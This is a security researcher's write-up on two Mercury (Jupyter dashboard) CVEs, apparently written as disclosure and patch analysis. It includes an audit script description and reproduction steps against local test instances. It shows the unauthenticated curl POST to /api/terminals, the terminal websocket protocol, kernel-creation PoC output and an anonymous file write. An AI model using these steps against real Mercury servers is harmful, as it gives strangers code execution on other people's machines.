Mercury 匿名内核执行的三次修复
Mercury 3.2.3 的 BLOCKED_PATTERNS 里少了一个逗号,Python 把两条正则拼成一条,/lab 和 /api/terminals 同时失守——匿名 POST 换个终端就拿到 shell。3.2.4 补了逗号只关一半,/api/kernels 仍能建内核执行任意代码,/api/contents 还能匿名写文件。补丁与公告隔了两个月。4 版本实测 + mercury-au
复现环境:Ubuntu 24.04.4 LTS,裸装,没有用容器。四个独立 python venv 分别装 mercury 3.2.3、3.2.4、3.2.6、3.2.11,前三个各起一个实例,端口 8888 / 8889 / 8890,3.2.11 用 8891 临时起了一下。3.2.5 没有起实例,是从 PyPI 下载 wheel 解包读的代码。实例只绑 127.0.0.1,工作目录各放一个 notebook。
同一件事,Mercury 在三个月里动了三次版本号:Jupyter 的执行接口要不要给匿名用户。Mercury 拿一张路径黑名单圈住不打算开放的面,这张表在 3.2.3 上被一个漏掉的逗号废掉,3.2.4 补上逗号,3.2.5 换成一套执行清单,3.2.6 只把版本号推上去。
版本号和披露时间都是发文前用 PyPI 的 JSON 接口和 NVD 的 REST 接口现查的,装和起就两行:
python3 -m venv venv && ./venv/bin/pip install mercury==3.2.3
./venv/bin/mercury --port=8888 --working-dir=notebooks起服务有两处容易卡住。没有 mercury run 这个子命令,写 run 会被当成目录名,报 No such file or directory: .../run;mercury --help 在我这套依赖上直接抛 KeyError: 'IdentityProvider',是 traitlets 拼帮助信息时找不到那个类,不影响启动,别以为是装坏了。
整套访问控制的骨架就这么大:
客户端 ──HTTP──► Tornado 路由表
│
├─ block_rules(3.2.3 是 3 条正则 → 403)
└─ Jupyter 原生 handler(/api/kernels、/api/contents、/api/sessions …)
│
└─ kernel 进程 ── 你的代码导览一句:第一节说清 Mercury 为什么天生匿名,第二节讲那个逗号,第三、四节是两个入口的实测,第五节排版本时间线和补丁落点。第六节拆 3.2.5 的执行清单,第七节看剩下的面,第八节给检测脚本,第九节说根因。
一、Mercury 把 JupyterLab 包了一层,这层原本没上锁
它干的事很朴素
Mercury 是个 Python 包,把 notebook 变成可以分享的网页应用。往目录里丢几个 .ipynb,给单元格挂上 mr.Slider() 之类的控件,跑一条命令起服务,页面上就是一堆带滑块和按钮的仪表盘。
用的人不需要知道 notebook 是什么,点一下按钮,服务器上的 kernel 执行对应单元格,结果回填到页面。定位上它和 Streamlit、Dash 是一类东西,只是底层直接用 Jupyter 的 kernel,不自己造一层运行时。
这种产品天生有个矛盾:它要让陌生人用你的计算资源,又不想让陌生人碰你的内核。Mercury 选了最省事的路,只拦几条最危险的路径,其余全放。
三个默认值把边界定死了
mercury_app/__main__.py 里处理 token 的逻辑是这样的:
token_from_env = os.getenv("MERCURY_TOKEN")
if token_from_cli:
new_argv.append(f"--IdentityProvider.token='{token_from_cli}'")
elif token_from_env:
new_argv.append(f"--IdentityProvider.token='{token_from_env}'")
else:
new_argv.append("--IdentityProvider.token=''")命令行没给 --token,环境变量里也没有 MERCURY_TOKEN,那就注入一个空 token。Jupyter Server 拿到空 token,等于告诉 IdentityProvider 不做身份校验,所有请求按匿名处理。
紧接着还有一段,判断 token 为空、也没设密码之后,追加 --ServerApp.disable_check_xsrf=True。
空 token 加关 XSRF,合起来的意思是:任何能连上这个端口的人,都能直接发 POST,不需要账号也不需要会话,连跨站校验都不用绕。
这不是配置错误。一个默认值写在这个位置,还专门写了判断空 token 的分支,说明人家就是要匿名的开箱体验。问题在于匿名之后剩下的防线是什么。
剩下能挡的就只有一张表
mercury_app/block_handler.py 里定义了一个 BLOCKED_PATTERNS,app.py 在初始化路由的时候把它变成 Rule 插到最前面:
for pat in BLOCKED_PATTERNS:
full_pat = (base_url + pat) if base_url else pat
block_rules.append(Rule(PathMatches(full_pat), BlockedHandler))
app.default_router.rules = block_rules + app.default_router.rulesBlockedHandler 的 prepare() 只有一句,抛 403。所以 Mercury 的整套访问控制就是:路径匹配上表中某个正则就 403,匹配不上就交给 Jupyter 原生 handler。表里原本想保护四样东西:JupyterLab 界面、终端、shutdown、文件下载。
还有一点得说清楚:Mercury 默认绑 127.0.0.1,我这边三个实例也是本地地址。所以这些洞能不能被外面打到,取决于部署方式——容器映射端口、反代转发、或者启动时给了 --ip=0.0.0.0,任何一个都会把它推到公网上。官方 Dockerfile 那套就是映射出来的。
二、一个逗号让两个入口同时失效
表里少了一个逗号
3.2.3 的 BLOCKED_PATTERNS 长这样:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]第一行结尾没有逗号。Python 遇到相邻的两个字符串字面量会直接拼接,"a" "b" 等价于 "ab",这在写多行字符串的时候很方便,在写列表的时候是个静默的坑。编译器不会提醒,格式化工具也未必改写,代码跑起来一切正常,只是表里的内容变了。
拼完的后果
拼接后的第一条正则要求路径以 /lab 开头,中间穿过任意字符,末尾还得落在 /api/terminals 上。真实请求 /lab 匹配不上,/api/terminals 也匹配不上,两条规则原本要保护的东西一块丢了。
黑名单里另外两条 /api/shutdown 和 /files 是独立的,没受影响。所以这个逗号只废掉两样东西,而且废得很彻底。
把两个版本的模块直接 import 出来对比,比盯着源码看更直接:
$ ./venv/bin/python regex_test.py
列表长度: 3
规则1: /lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?/api/terminals(?:/.*)?
规则2: /api/shutdown(?:/.*)?
规则3: /files(?:/.*)?
/lab 命中规则 无
/api/terminals 命中规则 无
/api/terminals/1 命中规则 无
/api/shutdown 命中规则 [2]
/api/kernels 命中规则 无3.2.4 上的输出是四条规则,/lab 命中第 1 条,/api/terminals 命中第 2 条,/api/kernels 依然是"无"。
这个对比还说明了另一件事:/api/kernels 从来没在表里,跟逗号无关。它在 3.2.3 上是通的,在 3.2.4 上也通,不是谁改坏了。
实测两个都是开的
$ curl -s -o /dev/null -w "%{http_code}\n" -X POST http://127.0.0.1:8888/api/terminals
200
$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:8888/lab
200/lab 返回的不是空壳,是完整的 JupyterLab 前端:
$ curl -s http://127.0.0.1:8888/lab | head -c 120
<!doctype html><html lang="en"><head><meta charset="utf-8"><title>JupyterLab</title><meta ...同一个请求在 3.2.4 上是 403 This endpoint is disabled。两个版本之间这条路径的差别只有那一个字符,所以不用再去猜别的变量。
公告只写了一个入口
CVE-2026-111057 的描述写的是 /api/terminals 失守。我把 /lab 也测了,3.2.3 上是 200,界面层面同样是敞开的:任何人打开这个地址,看到的是完整的 JupyterLab,左边文件树能翻 notebooks 目录,菜单里能直接开终端,能新建 notebook 还能跑。
从攻击者角度看这两条没区别,都是代码执行。从运维角度看区别不小,因为 /lab 暴露的是文件管理器和编辑器,能读的东西比一个 shell 更直接。
后面那两条 CVE 我按公开信息引用,/lab 同时失守这件事是我自己测的,公开描述里没有。
三、一个 POST 换一个终端
第一步只要一句话
$ curl -s -X POST http://127.0.0.1:8888/api/terminals
{"name": "1", "last_activity": "2026-10-23T09:40:18.998580Z"}服务端起了一个名为 1 的伪终端,并把名字告诉我了。Jupyter 的终端接口背后是 pty,直接挂在服务进程下,不是模拟的。
名字是自增的,第一个是 1,之后一直往上走。删掉的号码不回收,DELETE /api/terminals 也不放行,所以跑过几轮再看就是两位数。不用猜 id,随便打一枪就有一个自己的终端。
第二步连 websocket
拿到名字之后连 /terminals/websocket/1,首帧是 ["setup", {}],之后按 Jupyter 的终端协议发 ["stdin", "命令\n"],服务端回 ["stdout", "..."]。整个协议就是两层数组,没有握手,没有 token,没有 origin 校验。
[*] 连接 ws://127.0.0.1:8888/terminals/websocket/1
[+] 已连上,首帧: ["setup", {}]
[<] ["stdout", "uid=1000(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),101(lxd),111(docker),1000(netdev)\r\n"]
[<] ["stdout", "VM-0-17-ubuntu\r\n"]
[<] ["stdout", "Linux VM-0-17-ubuntu 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux\r\n"]
[<] ["stdout", "MARKER_1000\r\n"]从第一个请求到拿到命令输出,中间没有一次带凭证的交互。
这个 shell 落在哪个权限上
uid=1000(ubuntu),跑 Mercury 的那个账号,不是 root。公告写的是 root shell,那是 Docker 官方部署,容器里默认 root,我这边裸装所以是普通用户。
同一行里有个 111(docker)。ubuntu 在 docker 组,docker run -v /:/host 能把宿主机根目录挂进来,所有容器的文件系统也能读写,能碰到的东西不比 root 少。换成官方 Dockerfile 部署,拿到的就是容器内 root。
初始工作目录就是 notebooks。ls /home/ubuntu 能看见同级的实验目录和部署脚本,不用提权就能把整台机器的结构摸一遍。
除了命令输出还能读到什么
同一个 shell 里 env 能看进程环境变量,配了 MERCURY_TOKEN 的话就在里面;notebooks 目录里是别人放上去的所有应用,包括没打算公开的那些。
仪表盘类产品最怕这条:页面上露出三个应用,服务器上躺着三十个 notebook,其中一半连了数据库。
四、终端关掉之后,内核还开着
3.2.4 补上了逗号
3.2.4 的 BLOCKED_PATTERNS 第一行末尾有了逗号,拆成两条独立规则。同一个请求过去了:
$ curl -s -o /dev/null -w "%{http_code}\n" -X POST http://127.0.0.1:8889/api/terminals
403
$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:8889/lab
403到这里看问题解决了:终端关了,界面也关了。如果只跟着公告的描述走,升级到 3.2.4 就该收工。
把两个版本的 mercury_app 目录对整个 diff 一遍,排掉版本号文件之后,唯一的代码改动就是那个逗号。这次修复的体量就一个字符,也确实只补住了一个入口。
但内核接口没在表里
/api/kernels 从头到尾就没进过 BLOCKED_PATTERNS。它也不能进,Mercury 自己跑单元格就靠它。
于是同一个实例上:
$ ./venv-3.2.4/bin/python poc_kernel.py 127.0.0.1:8889
[+] POST /api/kernels -> 201 {"id": "8cd2ef41-cd67-4e76-ac45-c9944f97c3dc", "name": "python3", ...}
[*] 连接 ws://127.0.0.1:8889/api/kernels/8cd2ef41-.../channels?session_id=78d348ac...
[<stream>] MARKER_KERNEL ubuntu VM-0-17-ubuntu 1903506
[RESULT] 未认证在 kernel 里执行了任意 Python,MARKER 已出现先 POST /api/kernels 建一个 python3 内核,拿到 id,再连 /api/kernels/<id>/channels 发 execute_request。id 每次新建都不一样,你自己跑的时候不会是这一串。Jupyter 的 websocket 协议不需要额外认证,因为服务端本来就认为这个连接属于某个已经登录的用户,而在这里那个用户是匿名的。
写这个 PoC 的时候有个地方卡了一会儿:kernel 启动时会先往 iopub 广播一条 status: idle,我按 idle 退出循环,结果输出还没到就把连接关了,一直以为执行失败。改成等 execute_reply 才有结果。
内核和终端是一回事
从能力上看,终端和内核没有区别。一个给你 shell,一个给你 Python 解释器,后者能 subprocess 前者,反过来也一样。区别在产品的定义里:终端是运维工具,内核是仪表盘的心脏。
黑名单这条路在 Mercury 这里走不通。它不能封内核,封了产品就没了;不封内核,拿到内核就等于拿到代码执行。这条矛盾不是补丁能解决的,得换机制。
中间那层补丁也没校验内容
3.2.3/3.2.4 的 idle_timeout.py 里有一段专门 patch 内核 websocket 的代码,patch_kernel_websocket_handler() 包了 KernelWebsocketHandler.on_message:
def on_message_with_touch(self, message):
if hasattr(self.application, "_timeout_manager"):
logger.debug("[Idle Timeout] touch() via WebSocket message (KernelWebsocketHandler)")
self.application._timeout_manager.touch()
return orig_on_message(self, message)它的职责是刷新空闲计时器,刷完就把消息原样交给原 handler。execute_request 里带什么代码,这一层不看。
要挡住匿名执行,这一层是最后的机会:消息在这里已经解析过,刚好能看 msg_type 和 content.code。3.2.3 的版本里它只是记了一笔日志。
只补漏洞不动架构的话,最小改法是在这里加一条判断:收到 execute_request 时看发起连接的人是不是匿名,是就拒。Jupyter 的连接对象上挂着 handler,handler 上有 current_user,几行就够。3.2.5 没走这条,因为匿名用户本来就该能用产品,问题不在身份,在能执行什么。
五、修复版本和公告之间隔了两个月
时间线
用 PyPI 的 JSON 接口查的发布日期:
版本 | 发布 |
3.2.3 | 2026-07-08 |
3.2.4 | 2026-08-21 |
3.2.5 | 2026-08-27 |
3.2.6 | 2026-08-28 |
两条公告都是 2026-10-19 公开的。8 月 21 日发的 3.2.4 修了终端,8 月 27 日发的 3.2.5 换掉了执行路径,公告把内核这条记在 3.2.6 名下,那个版本是 8 月 28 日发的。从补丁落地到公开,中间隔了将近两个月,外界十月中旬才知道有这回事。
补丁先落地、公告后发,在协调披露里是常态,中间那段时间的沟通我不去猜。对使用方来说结果是一样的:那两个月里,按版本号判断"我已经修了"的人,手上还开着一扇门。
一张表说清版本差异
四条探测的结果,3.2.3、3.2.4、3.2.6 三行是三个实例上跑出来的,403 表示被 BlockedHandler 挡住:
版本 | /lab | GET /api/terminals | GET /api/contents/ | POST /api/kernels |
3.2.3 | 200 | 200 | 200 | 201 |
3.2.4 | 403 | 403 | 200 | 201 |
3.2.5 | 403 | 403 | 403 | 403 |
3.2.6 | 403 | 403 | 403 | 403 |
3.2.5 那行是推断:它和 3.2.6 的 mercury_app 逐文件一致,只差一个 _version.py。没起实例,不当机测结果看。NVD 给的影响范围是 3.0.0 到 3.2.3,我只在 3.2.3 上验,中间那些版本没逐个试。
对做资产清单的人来说,这一行比什么都难受。版本号落在受影响区间是一回事,补丁装没装是另一回事,装了补丁到底关掉了哪几个入口又是另一回事。三件事得分开查。
NVD 上两条的记录:CVE-2026-111057 是 10.0,向量 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H;CVE-2026-111058 是 9.8,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H。
两条的 PR:N 都是"不需要权限",AC:L 都是"攻击复杂度低"。区别在 S:C 和 S:U:前一条被判定会越出安全域(终端直接落在宿主机的账号上),后一条只在服务本身的权限范围内(内核进程跟服务同权限)。这个差别对打分有影响,对实际影响没有。
公告写的 3.2.6,代码在 3.2.5
这一节推翻了初稿。初稿写"3.2.6 换了做法",因为我读的第一份换架构代码取自 3.2.6。
为了核对版本差异,我把 3.2.5 的 wheel 也解开,execution/ 那几个文件已经齐了。两个版本逐文件 diff:
$ diff -rq mercury_app-3.2.5 mercury_app-3.2.6 | grep -v static
Files mercury_app-3.2.5/_version.py and mercury_app-3.2.6/_version.py differ只有版本号一个文件。3.2.6 换掉的是前端 bundle,Python 代码没动。
时间线也对得上:
修复提交 73a40ce "Secure anonymous kernel execution" 2026-08-27T12:38:15Z
3.2.5 wheel 上传 2026-08-27T12:42:57Z
3.2.6 wheel 上传 2026-08-28T07:26:47Z提交进仓库四分钟之后,3.2.5 就发出去了。3.2.6 是第二天早上发的。
3.2.6 的 release note 写的是 "Secures anonymous kernel execution by restricting sessions, kernels and notebooks to authorized resources only",NVD 的描述也是 "fixed in version 3.2.6"。按 wheel 里的代码,这段修正 3.2.5 就带上了。
对使用方有实际差别:把 3.2.5 当成"公告没提、可能还有洞"的过渡版本,扫一遍是白扫;只看代码不看公告,3.2.5 发出去那会儿没人知道该升。
这一段是静态比对,没在 3.2.5 上起实例,结论到"两边代码一致"为止。
内容接口也是开的
3.2.4 上 /api/contents 还没进黑名单,匿名能把 notebooks 目录列出来,也能写:
$ curl -s -o /dev/null -w "%{http_code}\n" -X PUT -H "Content-Type: application/json" \
-d '{"type":"file","format":"text","content":"written-by-unauth"}' \
"http://127.0.0.1:8889/api/contents/unauth-$(date +%s).txt"
201
$ ls -lt notebooks | head -2
total 28
-rw-rw-r-- 1 ubuntu ubuntu 17 Oct 27 16:35 unauth-1793090138.txt文件名后面那串是时间戳,换名字才能看到新建,覆盖同名文件返回的是 200。
路径穿越是挡住的,/api/contents/../../etc/passwd 返回 404,读写被 contents manager 限制在 root_dir 里。所以单独看这条不算大事。
但把它和内核接口放在一起就有意思了:匿名能改的东西,正好是内核要执行的东西。3.2.5 把 /api/contents 整条加进黑名单,3.2.4 上它还没进。原因大概也在这。
六、3.2.5 换了做法,3.2.6 只改了版本号
路由表前面多了一层
打开 3.2.5 的 app.py,initialize_handlers() 里黑名单之前先插了一组自己的 handler(3.2.6 的同一个文件一字不差,引的代码两边都成立):
security_handlers = [
(r"/api/contents/(.*\.ipynb)/checkpoints", MercuryCheckpointsHandler),
(r"/api/contents/(.*\.ipynb)", MercuryContentsHandler),
(r"/api/sessions/(?P<session_id>\w+-\w+-\w+-\w+-\w+)", MercurySessionHandler),
(r"/api/sessions", MercurySessionRootHandler),
(r"/api/kernels/(?P<kernel_id>\w+-\w+-\w+-\w+-\w+)/(?P<action>restart|interrupt)", MercuryKernelActionHandler),
(r"/api/kernels/(?P<kernel_id>\w+-\w+-\w+-\w+-\w+)", MercuryKernelHandler),
(r"/api/kernels", MercuryMainKernelHandler),
]
...
app.default_router.rules = security_rules + block_rules + app.default_router.rules(节选:原文里几个长元组是换行写的,这里压成一行;security_rules 的循环拼接省掉了。)
内核、会话、notebook 这三类请求不再落到 Jupyter 原生 handler 上。黑名单还留着,退成第二道。
替换连接类是在同一个方法里做的:
settings["mercury_execution_registry"] = registry
settings["mercury_security_mode"] = security_mode.value
settings["kernel_websocket_connection_class"] = (
MercuryKernelWebsocketConnection
)detect_standalone_security_mode() 按有没有 token 或密码把部署分成三档:编辑模式、匿名应用、登录应用。三档共用一套执行策略,区别只在谁算 owner。
五个文件分担五件事
新增的 mercury_app/execution/ 目录:
- registry.py:谁的内核归谁,靠签名 cookie 认人
- manifest.py:会话建立时读一遍 notebook,把 cell id 和源码做成清单,带 revision
- policy.py:判断这次执行请求能不能做,能做的返回清单里的源码
- connection.py:替换内核 websocket 的连接类,逐条消息过策略
- handlers.py:会话和内核的 REST handler,拒收带 kernel.id 的请求
这不是加规则,是把"执行什么代码"这件事从客户端手里拿回来。
会话按浏览器归属
registry.py 给每个浏览器发一个签名 cookie,名叫 mercury-browser-session,会话和内核都记在这个 owner 名下:
def kernel_for_owner(self, kernel_id: str, owner: str | None) -> ExecutionSession:
record = self._kernels.get(kernel_id)
if record is None or not owner or owner not in record.owners:
raise HTTPError(404, reason="Kernel does not exist")
return record每个 owner 最多 4 个会话,全局 256 个。别人拿不到你的内核 id 之外,也伪造不了那个 cookie,因为 cookie 是签名过的。
代码从服务端清单里取
这一层是我觉得最值得看的地方。policy.py 里的 authorize_execute_request() 不看客户端传来的 code,只看 metadata:
if kind == "cell":
cell_id = mercury.get("cell_id")
revision = mercury.get("revision")
if revision is not None and revision != manifest.revision:
raise ExecutionDenied("Notebook execution revision is stale")
if not isinstance(cell_id, str):
raise ExecutionDenied("Cell execution is missing a cell id")
try:
return ExecutionDecision(manifest.source_for(cell_id), "cell")
except ManifestError as exc:
raise ExecutionDenied(str(exc)) from exc服务端在会话建立时读过一遍 notebook,把每个 cell 的 id 和源码做成清单,带一个 revision。之后客户端说"我要执行某个 cell",服务端就从清单里取源码。
客户端能指定的只有 cell id。revision 对不上就直接拒,防止你拿旧清单配新内容。
policy.py 末尾还留了一段兼容分支:如果 metadata 里没有嵌套的 mercury 对象,就去读顶层的 cellId,写的注释是等前端慢慢迁移。老前端不用改协议,只是拿不到 revision 这一层校验。
websocket 那一层把 code 换掉
connection.py 注册成 kernel_websocket_connection_class,替换掉默认的连接类。prepare() 先校验内核归属,_authorize_message() 再逐条看消息:
if msg_type == "execute_request":
if channel != "shell":
raise ExecutionDenied("Execution is allowed only on the shell channel")
decision = authorize_execute_request(metadata, self._mercury_record.manifest)
safe_content = dict(content)
safe_content["code"] = decision.code
safe_content["allow_stdin"] = False
safe_content["user_expressions"] = {}
msg["content"] = safe_content
return msgcontent["code"] 被直接覆盖成清单里的内容,allow_stdin 关掉,user_expressions 清空。通道只允许 shell、control、stdin,单条消息上限 128MB,comm_open 只放行 jupyter.widget.control 一个目标。
除了单元格,客户端还能发两类动作,url_params.sync 和 widgets.clear,都在服务端拼好代码再执行,参数大小还有 64KB 上限。白名单就这两条,别的一律 Unknown Mercury action。
被拒的消息会以 1008 关连接,不是静默丢弃。这个选择对运维友好,日志里能看见谁在试探。
我发的代码没被执行
拿一个服务端已有的 notebook 建会话,然后故意往 content.code 里塞一句自己的代码:
[1] 读回服务端 notebook(这条路由对 .ipynb 放行)
GET /api/contents/nb326.ipynb -> 200
cell id: cell-proof | 源码: 'print("hello-from-notebook")'
[2] 未认证建会话
POST /api/sessions -> 201 {"id": "98685a92-...", "path": "nb326.ipynb", "kernel": {"id": "9e97fdb2-..."}}
[3] 连 websocket,content.code 故意写 print('CLIENT_SENT_THIS')
[<stream>] hello-from-notebook
[execute_reply] status = ok我发的是 print('CLIENT_SENT_THIS'),回来的却是 notebook 里的 print("hello-from-notebook")。服务端认的是清单,客户端那句话被丢掉了。
不带清单元数据同样进不去,服务端日志里是这一行:
Rejected kernel websocket message: Cell is not present in the execution manifest
七、另外几个面也一起收了
前缀进了名单,写入被堵死
3.2.5 的 BLOCKED_PATTERNS 多了一条 r"/api/contents(?:/.*)?",整个前缀 403。但 .ipynb 结尾的读取走的是 MercuryContentsHandler 那条,还在放行,因为页面要读 notebook 内容才能渲染。一个前缀被黑名单挡住、里面一个子路径被自己的 handler 放行,这种交叠是有意的。
我试过匿名写一个 notebook,再用它建会话。MercuryContentsHandler 里 PUT 是空实现,读一遍再返回,POST 直接拒绝。请求要带 XSRF 头,不然先被打回:
$ curl -s -b mc.txt -X PUT -H "X-XSRFToken: $X" -d '...' http://127.0.0.1:8890/api/contents/unauth.ipynb
{"message": "No such file or directory: unauth.ipynb", "reason": null}
$ curl -s -b mc.txt -X POST -H "X-XSRFToken: $X" http://127.0.0.1:8890/api/contents/unauth.ipynb
{"message": "Forbidden", "reason": "Creating notebooks is disabled in this application."}想往清单里塞自己的代码,得先能改服务端的 notebook 文件,这条路封了。
XSRF 回到默认
3.2.5 的 __main__.py 里,那段"token 为空就关 XSRF"的代码整段删掉了。现在发 POST 会碰到:
{"message": "'_xsrf' argument missing from POST", "reason": null}
不过 XSRF 不是访问控制。先 GET / 拿一个 _xsrf cookie,再带 X-XSRFToken 头就过了。它防的是浏览器被别的站点借用凭证,防不了直接连端口的人。
另外能看出拦截的先后顺序:3.2.6 上 GET /api/terminals 返回的是 403: This endpoint is disabled,POST /api/terminals 返回的是 403: Forbidden。后者的原因是缺 XSRF,请求还没走到黑名单就被打回。
会话还是能建,只是跑不了自己的代码
POST /api/sessions 在 3.2.6 上是通的,但要求给一个真实存在的 notebook 路径,而且拒收带 kernel.id 的请求:
{"message": "Forbidden", "reason": "Attaching an existing kernel is disabled"}
建出来的会话归当前 cookie,内核能跑,但只能跑那个 notebook 里已经存在的单元格。攻击者多了一个会话,少了一段能自己写的代码。
会话数量上限是每个 owner 四个,这个数字对攻击者没有约束意义,因为清掉 cookie 再请求一次就是新的 owner。它拦的是资源滥用,不是提权。
剩下的几个面
/api/nbconvert 返回 200,里面是导出格式的列表,提交内容只做格式转换不执行;/api/kernelspecs 和 /api/status 只是信息;/api/config/ 302 到 login。
八、怎么判断手上的 Mercury 是哪一档
版本号在页面里
Mercury 没有对外暴露版本接口,但 /mercury/<notebook> 这个页面里的 page_config 带着 "appVersion": "3.2.6"。先请求 /mercury/api/notebooks 拿一个 notebook 名,再取它的页面,正则抓一下就有。
这个字段是前端加载扩展时用的,不是给安全人员准备的。做资产盘点够了,比自己拼静态文件哈希靠谱。
找实例也一样能靠两个特征:Mercury 默认跑在 8888,根页面的 <title> 就是 Mercury,/mercury/api/notebooks 返回一个 JSON 数组。这三条凑齐了基本不会误判。
脚本打四枪
mercury-audit.py 做四件事:
- 从页面里读 appVersion
- GET /lab、GET /api/terminals、GET /api/contents/,看是不是 403
- POST /api/kernels 建一个内核,看能不能执行代码,建完立刻 DELETE
- 按版本区间给一句结论
第三步有副作用,所以留了 --no-post 开关,只做只读扫描的时候跳过。
三个实例的输出
######## 8888
目标 http://127.0.0.1:8888
版本 3.2.3
/lab 200
/api/terminals GET 200
/api/contents/ 200
/api/terminals POST 200
/api/kernels POST 201
/api/kernels DELETE 200
发现 5 个问题:
1. /lab 匿名可访问,JupyterLab 界面直接开
2. /api/terminals 匿名可读,终端列表暴露
3. /api/contents 匿名可读,root_dir 内的文件可列可读
4. POST /api/terminals 无认证就能建终端 —— 直接拿 shell(CVE-2026-111057)
5. POST /api/kernels 无认证就能建内核,websocket 里 execute_request 等于任意代码执行(CVE-2026-111058)######## 8889
版本 3.2.4
/lab 403
/api/terminals GET 403
/api/contents/ 200
/api/kernels POST 201
发现 2 个问题:
1. /api/contents 匿名可读,root_dir 内的文件可列可读
2. POST /api/kernels 无认证就能建内核,websocket 里 execute_request 等于任意代码执行(CVE-2026-111058)######## 8890
版本 3.2.6
/lab 403
/api/terminals GET 403
/api/contents/ 403
/api/kernels POST 403
没发现未认证入口。3.2.6 之后默认配置下应该是这个结果。这三段是脚本改版前跑出来的,落点那句写的"升级到 3.2.6 以上"是照公告填的。对完 3.2.5 的代码,脚本区间已经改成 3.2.5。三段输出和那两张截图保持原样,没回头改图。
退出码 1 表示发现问题,0 表示没有,2 留给目标不通或者根本不是 Mercury 的情况。
脚本对 Docker 部署同样能用,把端口映射后的地址填进去就行,只是这种部署里终端和内核都跑在容器内的 root 上,判出来的后果比裸装更重。
读数的时候要区分一种假阴性:如果外面套了一层带认证的反代,所有请求都会变成 401 或 403,脚本会报"没发现未认证入口"。这时候看响应体,BlockedHandler 给的是 This endpoint is disabled,反代给的是它自己的登录页或错误页,两者不一样。
版本落点决定动作
3.2.3 及以下,两条链都成立。3.2.4 只关了终端和界面,内核和内容接口都还开着,升到它等于没升。3.2.5 起三个入口一起收掉,落点是 3.2.5 以上,不是公告里写的 3.2.6。
配了 --token 或者 MERCURY_TOKEN 的部署,这几个请求会全部落在登录校验上,攻击面小一截。这一条脚本测不出来,得看服务是怎么起的。
还有一层跟版本无关:官方 Docker 部署里 Mercury 是 root,/api/terminals 那条链在 3.2.3 上直接就是容器内 root shell。裸装是普通用户,容器部署是 root,同一个洞两种后果。
发文前我又装了 3.2.11,也就是当前最新版,同一套探测跑下来全 403,appVersion 读出来是 3.2.11,退出码 0。所以按默认配置算,3.2.5 之后的版本这条线是收住的。
九、根不在那个逗号
黑名单补不全
Mercury 想用一张路径表把不打算给外面用的 Jupyter 接口圈起来,这个思路在 3.2.3 上破了一次,3.2.5 才算换了做法。
Jupyter Server 的接口面是一整套:内核、会话、内容、终端、配置、导出、凭据、shutdown。产品需要的只是一小部分,但它默认全开。按名单挡,挡的是自己想起来的那几个;这几个之外只要有一个能执行代码,名单就等于没写。
内核恰好是那个"必须有"的接口。名单这条路从一开始就走不到底,漏一个补一个是常态,方法本身有上限。
默认匿名的代价
Mercury 的定位是"把 notebook 发给别人用",匿名访问对它是卖点。既然匿名,路径就不可能是安全边界,能执行什么才是。
3.2.5 把两件事拆开了:谁能连(cookie 归属)和能执行什么(服务端清单)。前者不要求登录,后者不信任客户端。对这类产品这个划分是成立的,也解释了为什么修复要花一个版本号的时间,改的是执行路径,不是加一条正则。
我验到哪一步
四份实例我都跑了真实请求,文章里的状态码和输出片段都能对着本机复现。
3.2.6 上我没找到能接回代码执行的路径:写 notebook 被 handler 挡,建内核要过 owner 校验,发代码会被清单替换。这只能说明我试过的那几条走不通,不等于这个版本没有别的问题。
公开描述只写了 /api/terminals 和 /api/kernels。/lab 在 3.2.3 上同时失守、3.2.4 的 /api/contents 匿名可写,这两条是我自己测的。四份实例都是默认配置、只绑本机。
公网上到底有多少台 Mercury,我没去数。这类数字要么靠搜索引擎指纹,要么靠扫描,前者不准,后者我不做。
至于那个逗号,它是个果。真正的因是这张表从设计那天起就覆盖不完 Jupyter 的接口面,而修它的人自己也承认了这一点:3.2.5 的补丁里,黑名单只是被挪到了第二道。